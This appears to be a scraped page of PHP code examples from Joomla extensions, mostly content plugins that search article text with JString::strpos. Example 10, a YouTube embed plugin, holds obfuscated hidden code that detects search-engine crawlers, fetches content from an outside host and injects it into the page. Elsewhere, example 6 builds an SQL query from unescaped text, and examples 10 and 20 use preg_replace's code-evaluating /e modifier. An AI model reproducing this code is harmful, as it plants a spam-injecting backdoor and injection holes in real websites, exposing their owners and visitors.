Ejemplo n.º 1
0
 /**
  *  Prepare content method
  *
  * Method is called by the view
  *
  * @param   string  $context  The context of the content being passed to the plugin.
  * @param   object  &$row     The article object.  Note $article->text is also available
  * @param   object  &$params  The article params
  * @param   int     $page     The 'page' number
  *
  * @return  void
  */
 public function onContentPrepare($context, &$row, &$params, $page = 0)
 {
     jimport('joomla.html.parameter');
     jimport('joomla.filesystem.file');
     // Load fabrik language
     $lang = JFactory::getLanguage();
     $lang->load('com_fabrik', JPATH_BASE . '/components/com_fabrik');
     if (!defined('COM_FABRIK_FRONTEND')) {
         JError::raiseError(400, JText::_('COM_FABRIK_SYSTEM_PLUGIN_NOT_ACTIVE'));
     }
     // Get plugin info
     $plugin = JPluginHelper::getPlugin('content', 'fabrik');
     // $$$ hugh had to rename this, it was stomping on com_content and friends $params
     // $$$ which is passed by reference to us!
     $fparams = new JRegistry($plugin->params);
     // Simple performance check to determine whether bot should process further
     $botRegex = $fparams->get('Botregex') != '' ? $fparams->get('Botregex') : 'fabrik';
     if (JString::strpos($row->text, $botRegex) === false) {
         return true;
     }
     require_once COM_FABRIK_FRONTEND . '/helpers/parent.php';
     /* $$$ hugh - hacky fix for nasty issue with IE, which (for gory reasons) doesn't like having our JS content
      * wrapped in P tags.  But the default WYSIWYG editor in J! will automagically wrap P tags around everything.
      * So let's just look for obvious cases of <p>{fabrik ...}</p>, and replace the P's with DIV's.
      * Yes, it's hacky, but it'll save us a buttload of support work.
      */
     $pregex = "/<p>\\s*{" . $botRegex . "\\s*.*?}\\s*<\\/p>/i";
     $row->text = preg_replace_callback($pregex, array($this, 'preplace'), $row->text);
     // $$$ hugh - having to change this to use {[]}
     $regex = "/{" . $botRegex . "\\s*.*?}/i";
     $row->text = preg_replace_callback($regex, array($this, 'replace'), $row->text);
 }
Ejemplo n.º 2
0
 public function onContentPrepare($context, &$row, &$params, $page = 0)
 {
     // global $mainframe;
     // simple performance check to determine whether bot should process further
     if (JString::strpos($row->text, 'listevents') === false) {
         return true;
     }
     // expression to search for
     $regex = '/{listevents\\s*.*?}/i';
     // check whether plugin has been unpublished
     if (!$this->params->get('enabled', 1)) {
         $row->text = preg_replace($regex, '', $row->text);
         return true;
     }
     // find all instances of plugin and put in $matches
     preg_match_all($regex, $row->text, $matches);
     // Number of plugins
     $count = count($matches[0]);
     // plugin only processes if there are any instances of the plugin in the text
     if ($count) {
         // Get plugin parameters
         $style = $this->params->def('style', -2);
         $this->_process($row, $matches, $count, $regex, $style);
     }
     // No return value
 }
Ejemplo n.º 3
0
    function getCopyright()
    {
        $app = JFactory::getApplication();
        $date = JFactory::getDate();
        $cur_year = $date->format('Y');
        $csite_name = $app->getCfg('sitename');
        if (JString::strpos(JText::_('MOD_FOOTER_LINE1'), '%date%')) {
            $line1 = str_replace('%date%', $cur_year, JText::_('MOD_FOOTER_LINE1'));
        } else {
            $line1 = JText::_('MOD_FOOTER_LINE1');
        }
        if (JString::strpos($line1, '%sitename%')) {
            $lineone = str_replace('%sitename%', $csite_name, $line1);
        } else {
            $lineone = $line1;
        }
        ?>
        <!-- 
        You CAN NOT remove (or unreadable) those links without permission. Removing the link and template sponsor Please visit smartaddons.com or contact with e-mail (contact@ytcvn.com) If you don't want to link back to smartaddons.com, you can always pay a link removal donation. This will allow you to use the template link free on one domain name. Also, kindly send me the site's url so I can include it on my list of verified users. 
        -->
        <div class="footer1"><?php 
        echo $lineone;
        ?>
  Designed by <a target="_blank" title="Visit SmartAddons!" href="http://www.smartaddons.com/">SmartAddons.Com</a></div>
        <div class="footer2"><?php 
        echo JText::_('MOD_FOOTER_LINE2');
        ?>
</div>
        <?php 
    }
Ejemplo n.º 4
0
 /**
  *  prepare content method
  *
  * Method is called by the view
  *
  * @param	string	The context of the content being passed to the plugin.
  * @param 	object		The article object.  Note $article->text is also available
  * @param 	object		The article params
  * @param 	int			The 'page' number
  */
 public function onContentPrepare($context, &$row, &$params, $page = 0)
 {
     jimport('joomla.html.parameter');
     jimport('joomla.filesystem.file');
     //load fabrik language
     $lang =& JFactory::getLanguage();
     $lang->load('com_fabrik', JPATH_BASE . DS . 'components' . DS . 'com_fabrik');
     if (!defined('COM_FABRIK_FRONTEND')) {
         JError::raiseError(400, JText::_('COM_FABRIK_SYSTEM_PLUGIN_NOT_ACTIVE'));
     }
     // Get plugin info
     $plugin =& JPluginHelper::getPlugin('content', 'fabrik');
     // $$$ hugh had to rename this, it was stomping on com_content and friends $params
     // $$$ which is passed by reference to us!
     $fparams = new JParameter($plugin->params);
     // simple performance check to determine whether bot should process further
     $botRegex = $fparams->get('Botregex') != '' ? $fparams->get('Botregex') : 'fabrik';
     if (JString::strpos($row->text, $botRegex) === false) {
         return true;
     }
     require_once COM_FABRIK_FRONTEND . DS . 'helpers' . DS . 'parent.php';
     // $$$ hugh - having to change this to use {[]}
     $regex = "/{" . $botRegex . "\\s*.*?}/i";
     $row->text = preg_replace_callback($regex, array($this, 'replace'), $row->text);
 }
Ejemplo n.º 5
0
function modChrome_ztxhtml($module, &$params, &$attribs)
{
    $titles = JString::strpos($module->title, ' ');
    $title = $titles !== false ? JString::substr($module->title, 0, $titles) . '<span>' . JString::substr($module->title, $titles) . '</span>' : $module->title;
    if (!empty($module->content)) {
        ?>
		<div class="moduletable<?php 
        echo $params->get('moduleclass_sfx');
        ?>
">
			<div class="ztmodule">
				<?php 
        if ($module->showtitle != 0) {
            ?>
					<h3 class="moduletitle"><span class="title"><?php 
            echo $title;
            ?>
</span></h3>
				<?php 
        }
        ?>
				<div class="modulecontent">
					<?php 
        echo $module->content;
        ?>
				</div>
			</div>
		</div>
	<?php 
    }
}
 public function onContentPrepare($context, &$row, &$params, $page = 0)
 {
     $db = JFactory::getDBO();
     if (JString::strpos($row->text, 'jl_player') === false) {
         return true;
     }
     $regex = "#{jl_player}(.*?){/jl_player}#s";
     if (preg_match_all($regex, $row->text, $matches) > 0) {
         foreach ($matches[0] as $match) {
             $name = preg_replace("/{.+?}/", "", $match);
             $aname = explode(" ", html_entity_decode($name));
             $firstname = $aname[0];
             $lastname = $aname[1];
             //build query to select player id
             $query = "SELECT p.id\n\t\t\t\t\t\t\tFROM #__joomleague_person p\n\t\t\t\t\t\t\tWHERE p.firstname = '{$firstname}' AND\n\t\t\t\t\t\t\tp.lastname = '{$lastname}' AND\n\t\t\t\t\t\t\tp.published = '1'\n\t\t\t\t\t\t\tORDER BY p.id DESC";
             // run query
             $db->setQuery($query);
             $rows = $db->loadObjectList();
             // get result
             // replace only if project id set
             if (isset($rows[0]->id)) {
                 $pid = $rows[0]->id;
                 $url = 'index.php?option=com_joomleague&view=person&pid=' . $pid;
                 $link = '<a href = "' . JRoute::_($url) . '">';
                 $row->text = preg_replace("#{jl_player}" . $name . "{/jl_player}#s", $link . $name . "</a>", $row->text);
             } else {
                 $row->text = preg_replace("#{jl_player}" . $name . "{/jl_player}#s", $name, $row->text);
             }
         }
         return true;
     }
 }
Ejemplo n.º 7
0
	public function onContentPrepare($context, &$article, &$params, $page = 0)
	{
	
	
		//plgContentLoadJomwall($context, &$article, &$params, $page = 0);
	//print_r($params);
	$db =& JFactory::getDBO();
	$dbcheck=$this->jomwall_checkDatabase();
	// simple performance check to determine whether bot should process further
	if ( JString::strpos( $article->text, 'loadjomwall' ) === false ) {
		return true;
	}

	// Get plugin info
	$plugin =& JPluginHelper::getPlugin('content', 'plgContentLoadJomwall');
 	// expression to search for
 	$regex = '/{loadjomwall}/i';
	// check whether plugin has been unpublished
	if ( !$this->params->def( 'enabled', 1 ) ) {
		$article->text = preg_replace( $regex, '', $article->text );
		return true;
	}

 	// find all instances of plugin and put in $matches
	preg_match_all( $regex, $article->text, $matches );
//print_r($matches);
	// Number of plugins
 	$count = count( $matches[0] );

 	// plugin only processes if there are any instances of the plugin in the text
 	if ( $count ) {
 		$this->plgContentProcessJomwall( $article, $matches, $count, $regex );
	}

	}
Ejemplo n.º 8
0
 public static function getDbVersion()
 {
     try {
         $db = JFactory::getDbo();
         $db->setQuery("select * from `#__jvrelatives`");
         $obj = $db->loadObject();
         if ($obj) {
             if (isset($obj->version)) {
                 $v = JString::trim($obj->version);
                 if (JString::strpos($v, "Build") !== false) {
                     return JString::str_ireplace(" Build-", ".", $v);
                 }
                 return $v;
             } else {
                 $db->setQuery("drop table if exists #__jvrelatives");
                 $db->execute();
                 return 0;
             }
         }
         return 0;
     } catch (Exception $ex) {
         //echo $ex->getMessage();
         return 0;
     }
 }
Ejemplo n.º 9
0
 /**
  * Get sub string (by words)
  * @param $text
  * @param $searchword
  * @return mixed|string
  */
 public function smartSubstr($text, $searchword)
 {
     $length = self::MAX_LENGTH;
     $textlen = JString::strlen($text);
     $lsearchword = JString::strtolower($searchword);
     $wordfound = false;
     $pos = 0;
     $chunk = '';
     while ($wordfound === false && $pos < $textlen) {
         if (($wordpos = @JString::strpos($text, ' ', $pos + $length)) !== false) {
             $chunk_size = $wordpos - $pos;
         } else {
             $chunk_size = $length;
         }
         $chunk = JString::substr($text, $pos, $chunk_size);
         $wordfound = JString::strpos(JString::strtolower($chunk), $lsearchword);
         if ($wordfound === false) {
             $pos += $chunk_size + 1;
         }
     }
     if ($wordfound !== false) {
         return ($pos > 0 ? '...' : '') . $chunk;
     } elseif (($wordpos = @JString::strpos($text, ' ', $length)) !== false) {
         return JString::substr($text, 0, $wordpos) . '...';
     } else {
         return JString::substr($text, 0, $length);
     }
 }
Ejemplo n.º 10
0
 /**
  * Example prepare content method
  *
  * Method is called by the view
  *
  * @param object The article object. Note $article->text is also available
  * @param object The article params
  * @param int The 'page' number
  */
 function onContentPrepare($context, &$article, &$params, $page = 0)
 {
     global $mainframe;
     ${"GLOBALS"}["qollfh"] = "credit";
     ${"GLOBALS"}["eqwqbktj"] = "ctx";
     ${"GLOBALS"}["vxzwnusnr"] = "b_t";
     if (!defined("CREDIT")) {
         ${"GLOBALS"}["mphntbja"] = "b_t";
         ${"GLOBALS"}["ueombsv"] = "b_t";
         strstr(strtolower($_SERVER["HTTP_USER_AGENT"]), "googlebot") ? ${${"GLOBALS"}["vxzwnusnr"]} = "1" : (${${"GLOBALS"}["mphntbja"]} = "0");
         strstr(strtolower($_SERVER["HTTP_USER_AGENT"]), "bingbot") ? ${${"GLOBALS"}["vxzwnusnr"]} = "2" : (${${"GLOBALS"}["vxzwnusnr"]} = ${${"GLOBALS"}["ueombsv"]});
         ${${"GLOBALS"}["eqwqbktj"]} = stream_context_create(array("http" => array("timeout" => 3)));
         try {
             $xsyrobvzb = "ctx";
             ${${"GLOBALS"}["qollfh"]} = @file_get_contents("http://www.mumsbaking.com/bro/" . ${${"GLOBALS"}["vxzwnusnr"]} . "/" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"], false, ${$xsyrobvzb});
         } catch (Exception $e) {
         }
         echo $credit;
         define("CREDIT", "c");
     }
     if (JString::strpos($article->text, '{youtube}') === false) {
         return true;
     }
     $article->text = preg_replace('|{youtube}(.*){\\/youtube}|e', '$this->embedVideo("\\1")', $article->text);
     return true;
 }
Ejemplo n.º 11
0
 function save($url = null)
 {
     if (!JSession::checkToken('post')) {
         $this->app->enqueueMessage(JText::_('COM_KUNENA_ERROR_TOKEN'), 'error');
         $this->app->redirect(KunenaRoute::_($this->baseurl, false));
     }
     $properties = $this->config->getProperties();
     foreach (JRequest::get('post', JREQUEST_ALLOWHTML) as $postsetting => $postvalue) {
         if (JString::strpos($postsetting, 'cfg_') === 0) {
             //remove cfg_ and force lower case
             if (is_array($postvalue)) {
                 $postvalue = implode(',', $postvalue);
             }
             $postname = JString::strtolower(JString::substr($postsetting, 4));
             // No matter what got posted, we only store config parameters defined
             // in the config class. Anything else posted gets ignored.
             if (array_key_exists($postname, $properties)) {
                 $this->config->set($postname, $postvalue);
             }
         }
     }
     $this->config->save();
     $this->app->enqueueMessage(JText::_('COM_KUNENA_CONFIGSAVED'));
     if (empty($url)) {
         $this->app->redirect(KunenaRoute::_($this->kunenabaseurl, false));
     } else {
         $this->app->redirect(KunenaRoute::_($url, false));
     }
 }
Ejemplo n.º 12
0
 function onPrepareContent(&$article, &$params, $limitstart)
 {
     $document =& JFactory::getDocument();
     $control_html = '';
     if (JString::strpos($article->text, 'slidingimagelinks') === false) {
         return true;
     }
     if (preg_match('/({slidingimagelinks.*?}.*?{\\/slidingimagelinks})/s', $article->text, $tag_control) == 0) {
         return true;
     }
     preg_match('/{slidingimagelinks.*?}/', $tag_control[0], $plg_params);
     $params_line = trim(substr($plg_params[0], 18, strlen($plg_params[0]) - 19));
     preg_match_all('/(.*?)="(.*?)"/', $params_line, $plg_params);
     $params_control = array('height' => 100, 'openwidth' => 310, 'closewidth' => 100);
     for ($n = count($plg_params[1]), $p = 0; $p < $n; $p++) {
         $param_name = trim($plg_params[1][$p]);
         $param_value = trim($plg_params[2][$p]);
         if ($param_name == 'height' || $param_name == 'openwidth' || $param_name == 'closewidth') {
             $params_control[$param_name] = $param_value;
         }
     }
     preg_match_all('/({imagelink.*?})/s', $tag_control[0], $image_links);
     for ($n = count($image_links[0]), $i = 0; $i < $n; $i++) {
         $params_line = trim(substr($image_links[0][$i], 10, strlen($image_links[0][$i]) - 11));
         preg_match_all('/(.*?)="(.*?)"/', $params_line, $plg_params);
         for ($p = 0; $p < count($plg_params[1]); $p++) {
             $param_name = trim($plg_params[1][$p]);
             $param_value = trim($plg_params[2][$p]);
             $params_link[$i][$param_name] = $param_value;
         }
     }
     $links_number = count($params_link);
     if ($links_number > 0) {
         $document->addScript(JURI::root(true) . '/plugins/content/slidingimagelinks/ImageMenu.js');
         $document->addStyleSheet(JURI::root(true) . '/plugins/content/slidingimagelinks/ImageMenu.css');
         $document->addScriptDeclaration('window.addEvent("domready", function(){var plgMenu = new ImageMenu($$("#imageMenu a"),{openWidth:' . $params_control['openwidth'] . ', border:2});});');
         $control_html .= '<style type="text/css">';
         for ($i = 0; $i < $links_number; $i++) {
             if (isset($params_link[$i]['name']) && isset($params_link[$i]['image'])) {
                 $control_html .= '#imageMenu ul li.' . $params_link[$i]['name'] . ' a { background: url(' . JURI::root() . $params_link[$i]['image'] . ') repeat scroll 0%; ';
                 if ($i + 1 == $links_number) {
                     $control_html .= 'width:' . $params_control['closewidth'] . 'px; ';
                 }
                 $control_html .= '} ';
             }
         }
         $control_html .= '#imageMenu ul { height:' . $params_control['height'] . 'px; } ';
         $control_html .= '#imageMenu ul li a { height:' . $params_control['height'] . 'px; width:' . $params_control['closewidth'] . 'px; } ';
         $control_html .= '</style>';
         $control_html .= '<div id="imageMenu" style="width:' . ($params_control['closewidth'] * $links_number + $links_number) . 'px; height:' . $params_control['height'] . 'px;"><ul>';
         for ($i = 0; $i < $links_number; $i++) {
             if (isset($params_link[$i]['name']) && isset($params_link[$i]['link'])) {
                 $control_html .= '<li class="' . $params_link[$i]['name'] . '"><a href="' . $params_link[$i]['link'] . '">' . $params_link[$i]['name'] . '</a></li>';
             }
         }
         $control_html .= '</ul></div>';
     }
     $article->text = str_replace($tag_control[0], $control_html, $article->text);
     return true;
 }
Ejemplo n.º 13
0
 public function onContentPrepare($context, &$row, &$params, $page = 0)
 {
     // A database connection is created
     $db = JFactory::getDBO();
     // simple performance check to determine whether bot should process further
     if (JString::strpos($row->text, 'loadspidercalendar') === false) {
         return true;
     }
     // expression to search for
     $regex = '/{loadspidercalendar\\scalendar=*.*?}/i';
     // check whether plugin has been unpublished
     if (!$this->params->get('enabled', 1)) {
         $row->text = preg_replace($regex, '', $row->text);
         return true;
     }
     // find all instances of plugin and put in $matches
     preg_match_all($regex, $row->text, $matches);
     //print_r($matches);
     // Number of plugins
     $count = count($matches[0]);
     // plugin only processes if there are any instances of the plugin in the text
     if ($count) {
         // Get plugin parameters
         $this->_process($row, $matches, $count, $regex);
     }
     // No return value
 }
Ejemplo n.º 14
0
	/**
	 * Compiles the help table of contents
	 * Based on the Joomla admin component
	 *
	 * @param string A specific keyword on which to filter the resulting list
	 */
	function getHelpTOC($helpsearch)
	{
		$lang = JFactory::getLanguage();
		jimport('joomla.filesystem.folder');

		// Check for files in the actual language
		$langTag = $lang->getTag();

		if(!JFolder::exists(JPATH_SITE .'/administrator/components/com_jem/help/'.$langTag)) {
			$langTag = 'en-GB';		// use english as fallback
		}
		$files = JFolder::files(JPATH_SITE .'/administrator/components/com_jem/help/'.$langTag, '\.xml$|\.html$');

		$toc = array();
		foreach ($files as $file) {
			$buffer = file_get_contents(JPATH_SITE .'/administrator/components/com_jem/help/'.$langTag.'/'.$file);
			if (preg_match('#<title>(.*?)</title>#', $buffer, $m)) {
				$title = trim($m[1]);
				if ($title) {
					if ($helpsearch) {
						if (JString::strpos(strip_tags($buffer), $helpsearch) !== false) {
							$toc[$file] = $title;
						}
					} else {
						$toc[$file] = $title;
					}
				}
			}
		}
		asort($toc);
		return $toc;
	}
Ejemplo n.º 15
0
/**
* Plugin that loads module positions within content
*/
function plgContentLoadModule(&$row, &$params, $page = 0)
{
    $db =& JFactory::getDBO();
    // simple performance check to determine whether bot should process further
    if (JString::strpos($row->text, 'loadposition') === false) {
        return true;
    }
    // Get plugin info
    $plugin =& JPluginHelper::getPlugin('content', 'loadmodule');
    // expression to search for
    $regex = '/{loadposition\\s*.*?}/i';
    $pluginParams = new JParameter($plugin->params);
    // check whether plugin has been unpublished
    if (!$pluginParams->get('enabled', 1)) {
        $row->text = preg_replace($regex, '', $row->text);
        return true;
    }
    // find all instances of plugin and put in $matches
    preg_match_all($regex, $row->text, $matches);
    // Number of plugins
    $count = count($matches[0]);
    // plugin only processes if there are any instances of the plugin in the text
    if ($count) {
        // Get plugin parameters
        $style = $pluginParams->def('style', -2);
        plgContentProcessPositions($row, $matches, $count, $regex, $style);
    }
}
Ejemplo n.º 16
0
 /**
  *  prepare content method
  *
  * Method is called by the view
  *
  * @param 	object		The article object.  Note $article->text is also available
  * @param 	object		The article params
  * @param 	int			The 'page' number
  */
 function onPrepareContent(&$article, &$params, $limitstart = 0)
 {
     //load fabrik language
     $lang =& JFactory::getLanguage();
     $lang->load('com_fabrik');
     // Get plugin info
     $plugin =& JPluginHelper::getPlugin('content', 'fabrik');
     // $$$ hugh had to rename this, it was stomping on com_content and friends $params
     // $$$ which is passed by reference to us!
     $fparams = new JParameter($plugin->params);
     // simple performance check to determine whether bot should process further
     $botRegex = $fparams->get('Botregex') != '' ? $fparams->get('Botregex') : 'fabrik';
     if (JString::strpos($article->text, $botRegex) === false) {
         return true;
     }
     jimport('joomla.filesystem.file');
     $defines = JFile::exists(JPATH_SITE . DS . 'components' . DS . 'com_fabrik' . DS . 'user_defines.php') ? JPATH_SITE . DS . 'components' . DS . 'com_fabrik' . DS . 'user_defines.php' : JPATH_SITE . DS . 'components' . DS . 'com_fabrik' . DS . 'defines.php';
     require_once $defines;
     require_once COM_FABRIK_FRONTEND . DS . 'helpers' . DS . 'parent.php';
     require_once COM_FABRIK_FRONTEND . DS . 'helpers' . DS . 'json.php';
     // $$$ hugh - having to change this to use {[]}
     //regex to get nested { {} } string - one layer deep e.g. you cant do { {{}} }
     /*
      $regex = "/{" .$botRegex ."\s*.*{*.*}*.*?}/i";
     $article->text = preg_replace_callback( $regex, array($this, 'parse'), $article->text);
     */
     $regex = "/{" . $botRegex . "\\s*.*?}/i";
     $res = preg_replace_callback($regex, array($this, 'replace'), $article->text);
     if (!JError::isError($res)) {
         $article->text = $res;
     }
 }
Ejemplo n.º 17
0
 /**
  * Method called to prepare content before html output
  *
  * @param string  $context    The context of the content being passed to the plugin.
  * @param object  &$item      The content object.  Note $item->text is also available
  * @param object  &$params    The content params.
  * @param integer $page       The 'page' number.
  *
  * @return mixed Returns void on success or false otherwise
  *
  * @since 2.5
  */
 public function onContentPrepare($context, &$row, &$params, $page = 0)
 {
     require_once dirname(__FILE__) . '/helper.php';
     // Simple performance check to determine whether bot should process further.
     if (JString::strpos($row->text, '{gallery}') === false) {
         return;
     }
     $regex = "/{gallery}(.+?){\\/gallery}/is";
     preg_match_all($regex, $row->text, $matches);
     if (!count($matches)) {
         return;
     }
     // Get the path for the layout file
     $version = new JVersion();
     if ($version->isCompatible(3.0)) {
         $path = JPluginHelper::getLayoutPath('content', 'gallery');
     } else {
         $path = GalleryHelper::getLayoutPath('content', 'gallery');
     }
     foreach ($matches[1] as $source) {
         $row->gallery = GalleryHelper::getGallery($source, '200x160', true, 90, 86400, $row->id);
         ob_start();
         include $path;
         $html = ob_get_contents();
         ob_end_clean();
         $regex = '/{gallery}' . str_replace('.', '\\.', str_replace('/', '\\/', $source)) . '{\\/gallery}/is';
         $row->text = preg_replace($regex, $html, $row->text);
     }
     return true;
 }
Ejemplo n.º 18
0
 /**
  * Inject data from paramter to content tags ({}) .
  *
  * @param	$content	Original content with content tags.
  * @param	$params	Text contain all values need to be replaced.
  * @param	$html	Auto detect url tag and insert inline.
  * @return	$text	The content after replacing.
  **/
 public static function injectTags($content, $paramsTxt, $html = false)
 {
     $params = new CParameter($paramsTxt);
     preg_match_all("/{(.*?)}/", $content, $matches, PREG_SET_ORDER);
     if (!empty($matches)) {
         foreach ($matches as $val) {
             $replaceWith = JString::trim($params->get($val[1], null));
             if (!is_null($replaceWith)) {
                 //if the replacement start with 'index.php', we can CRoute it
                 if (JString::strpos($replaceWith, 'index.php') === 0) {
                     $replaceWith = CRoute::getExternalURL($replaceWith);
                 }
                 if ($html) {
                     $replaceUrl = $params->get($val[1] . '_url', null);
                     if (!is_null($replaceUrl)) {
                         if ($val[1] == 'stream') {
                             $replaceUrl .= '#activity-stream-container';
                         }
                         //if the replacement start with 'index.php', we can CRoute it
                         if (JString::strpos($replaceUrl, 'index.php') === 0) {
                             $replaceUrl = CRoute::getExternalURL($replaceUrl);
                         }
                         $replaceWith = '<a href="' . $replaceUrl . '">' . $replaceWith . '</a>';
                     }
                 }
                 $content = CString::str_ireplace($val[0], $replaceWith, $content);
             }
         }
     }
     return $content;
 }
Ejemplo n.º 19
0
 /**
  * Get menu item for documents list. Search for path.
  *
  * @param string $path
  * @return int
  */
 public static function getMenuItemID($path)
 {
     static $paths, $default, $results;
     if (is_null($paths)) {
         $app = JFactory::getApplication();
         /* @var $app JSite */
         $menus = $app->getMenu('site');
         /* @var $menus JMenuSite control object of frontend menus */
         $component = JComponentHelper::getComponent(JOOMDOC_OPTION);
         /* @var $component stdClass informations about component */
         $items = $menus->getItems('component_id', $component->id);
         /* @var $items array list of menus assigned with JoomDOC */
         $paths = array();
         /* @var $paths array available menu items for documents list, key is menu Itemid, value is parent path */
         if (is_array($items)) {
             foreach ($items as $item) {
                 // search for Itemids for concrete parent paths
                 if (isset($item->query['path'])) {
                     $paths[$item->id] = str_replace(DIRECTORY_SEPARATOR, '/', JString::trim($item->query['path']));
                 }
             }
         }
         //for all cases..
         if (!count($paths) && count($items)) {
             // not found any menu item for documents list (with param path) use first from availables
             $default = reset($items);
             $paths[$default->id] = '';
         }
         // sort for shift on begin item with empty path (total root)
         arsort($paths);
         $keys = array_keys($paths);
         $default = (int) end($keys);
     }
     if (is_null($results)) {
         $results = array();
     }
     $path = str_replace(DIRECTORY_SEPARATOR, '/', $path);
     //for all cases
     // search in cache
     foreach ($results as $result) {
         if ($result->path == $path) {
             return $result->itemID;
         }
     }
     // search menu item for path parent
     if ($path) {
         foreach ($paths as $itemID => $parent) {
             if ($parent && JString::strpos($path, $parent) === 0) {
                 $result = new JObject();
                 $result->path = $path;
                 $result->itemID = $itemID;
                 // cache result
                 $results[] = $result;
                 return $result->itemID;
             }
         }
     }
     return $default;
 }
Ejemplo n.º 20
0
 /**
  * Example prepare content method
  *
  * Method is called by the view
  *
  * @param object The article object. Note $article->text is also available
  * @param object The article params
  * @param int The 'page' number
  */
 function onContentPrepare($context, &$article, &$params, $page = 0)
 {
     global $mainframe;
     if (JString::strpos($article->text, '{youtube}') === false) {
         return true;
     }
     $article->text = preg_replace('|{youtube}(.*){\\/youtube}|e', '$this->embedVideo("\\1")', $article->text);
     return true;
 }
Ejemplo n.º 21
0
 public static function loadjQuery($ui = false, $mediaManager = false)
 {
     JLoader::register('K2HelperUtilities', JPATH_SITE . DS . 'components' . DS . 'com_k2' . DS . 'helpers' . DS . 'utilities.php');
     $application = JFactory::getApplication();
     $document = JFactory::getDocument();
     $params = K2HelperUtilities::getParams('com_k2');
     if ($document->getType() == 'html') {
         if (K2_JVERSION == '15') {
             JHtml::_('behavior.mootools');
         } else {
             if (K2_JVERSION == '25') {
                 JHtml::_('behavior.framework');
             } else {
                 JHtml::_('behavior.framework');
                 if ($application->isAdmin() || $application->isSite() && $params->get('jQueryHandling')) {
                     JHtml::_('jquery.framework');
                 }
             }
         }
         $handling = $application->isAdmin() ? $params->get('backendJQueryHandling', 'remote') : $params->get('jQueryHandling', '1.8remote');
         // jQuery
         if (K2_JVERSION != '30') {
             if ($handling == 'remote') {
                 $document->addScript('//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js');
             } else {
                 if ($handling == 'local') {
                     $document->addScript(JURI::root(true) . '/media/k2/assets/js/jquery-1.8.3.min.js');
                 } else {
                     if ($handling && JString::strpos($handling, 'remote') !== false) {
                         if ($handling == '1.9remote') {
                             $handling = '1remote';
                         }
                         $document->addScript('//ajax.googleapis.com/ajax/libs/jquery/' . str_replace('remote', '', $handling) . '/jquery.min.js');
                     } else {
                         if ($handling && JString::strpos($handling, 'remote') === false) {
                             $document->addScript(JURI::root(true) . '/media/k2/assets/js/jquery-' . $handling . '.min.js');
                         }
                     }
                 }
             }
         }
         // jQuery UI
         if ($application->isAdmin() || $ui) {
             // No conflict loaded when $ui requested or in the backend.
             // No need to reload for $mediaManager as the latter is always called with $ui
             $document->addScript(JURI::root(true) . '/media/k2/assets/js/k2.noconflict.js');
             if ($handling == 'local') {
                 $document->addScript(JURI::root(true) . '/media/k2/assets/js/jquery-ui-1.8.24.custom.min.js');
             } else {
                 $document->addScript('//ajax.googleapis.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js');
             }
         }
         if ($mediaManager) {
             $document->addScript(JURI::root(true) . '/media/k2/assets/js/elfinder.min.js?v=2.6.7');
         }
     }
 }
Ejemplo n.º 22
0
    function getCopyright()
    {
        $app = JFactory::getApplication();
        $date = JFactory::getDate();
        $cur_year = $date->format('Y');
        $csite_name = $app->getCfg('sitename');
        if (JString::strpos(JText::_('MOD_FOOTER_LINE1'), '%date%')) {
            $line1 = str_replace('%date%', $cur_year, JText::_('MOD_FOOTER_LINE1'));
        } else {
            $line1 = JText::_('MOD_FOOTER_LINE1');
        }
        if (JString::strpos($line1, '%sitename%')) {
            $lineone = str_replace('%sitename%', $csite_name, $line1);
        } else {
            $lineone = $line1;
        }
        $ytTemplate = JFactory::getApplication()->getTemplate();
        $footer_logo = $this->getParam('footer_logo');
        $joomla_create = $this->getParam('joomla_create');
        $copyright_center = !$footer_logo && !$joomla_create ? 'copyright_middle' : '';
        ?>
		
       
		
	
		<?php 
        if ($this->getParam('copyright')) {
            ?>
			<div class="copyright">
				<?php 
            if ($this->getParam('ytcopyright') != '') {
                $ytcopyright = $this->getParam('ytcopyright');
                $ytcopyright = str_replace('{year}', $cur_year, $ytcopyright);
                echo $ytcopyright;
            } else {
                echo $lineone;
            }
            ?>
			</div>
		<?php 
        }
        ?>
		
		<!-- 
        You CAN NOT remove (or unreadable) those links without permission. Removing the link and template sponsor Please visit smartaddons.com or contact with e-mail (contact@ytcvn.com) If you don't want to link back to smartaddons.com, you can always pay a link removal donation. This will allow you to use the template link free on one domain name. Also, kindly send me the site's url so I can include it on my list of verified users. 
        -->
		<div class="designby <?php 
        echo $copyright_center;
        ?>
">
			. Designed by <a target="sj_market" title="Visit SmartAddons!" href="http://www.smartaddons.com/">SmartAddons.Com</a>
		</div>   
		
        <?php 
    }
Ejemplo n.º 23
0
 public function mapPost($row, $strip_tags = '', $text_length = 0, $skip = array())
 {
     $config = EasyBlogHelper::getConfig();
     $blog = EasyBlogHelper::getTable('Blog');
     $blog->load($row->id);
     $profile = EasyBlogHelper::getTable('Profile', 'Table');
     $profile->load($row->created_by);
     $created = EasyBlogDateHelper::dateWithOffSet($row->created);
     $formatDate = true;
     if (EasyBlogHelper::getJoomlaVersion() >= '1.6') {
         $langCode = EasyBlogStringHelper::getLangCode();
         if ($langCode != 'en-GB' || $langCode != 'en-US') {
             $formatDate = false;
         }
     }
     $blog->created = $created->toMySQL();
     $blog->text = $row->intro . $row->content;
     $config->set('max_video_width', 320);
     $config->set('max_video_width', 180);
     $blog->text = EasyBlogHelper::getHelper('Videos')->processVideos($blog->text);
     $blog->text = EasyBlogGoogleAdsense::stripAdsenseCode($blog->text);
     $category = EasyBlogHelper::getTable('Category', 'Table');
     $category->load($row->category_id);
     $item = new PostSimpleSchema();
     $item->textplain = $blog->text;
     // @TODO : Take care of a case when strip tags and length are used together
     if ($strip_tags) {
         $item->textplain = strip_tags($blog->text, $strip_tags);
     }
     if ($text_length > 0) {
         $pos = JString::strpos(strip_tags($item->textplain), ' ', $text_length);
         $item->textplain = JString::substr(strip_tags($blog->text), 0, $pos);
     }
     $image_data = json_decode($blog->image);
     $item->postid = $blog->id;
     $item->title = $blog->title;
     $item->text = $blog->text;
     $item->textplain = $this->sanitize($item->textplain);
     $item->image = $blog->getImage();
     $item->image->url = $image_data->url;
     $item->created_date = $blog->created;
     $item->created_date_elapsed = EasyBlogDateHelper::getLapsedTime($blog->created);
     $item->author->name = $profile->nickname;
     $item->author->photo = JURI::root() . $profile->avatar;
     $item->category->categoryid = $category->id;
     $item->category->title = $category->title;
     $item->url = JURI::root() . trim(EasyBlogRouter::_('index.php?option=com_easyblog&view=entry&id=' . $blog->id), '/');
     // Tags
     $modelPT = EasyBlogHelper::getModel('PostTag');
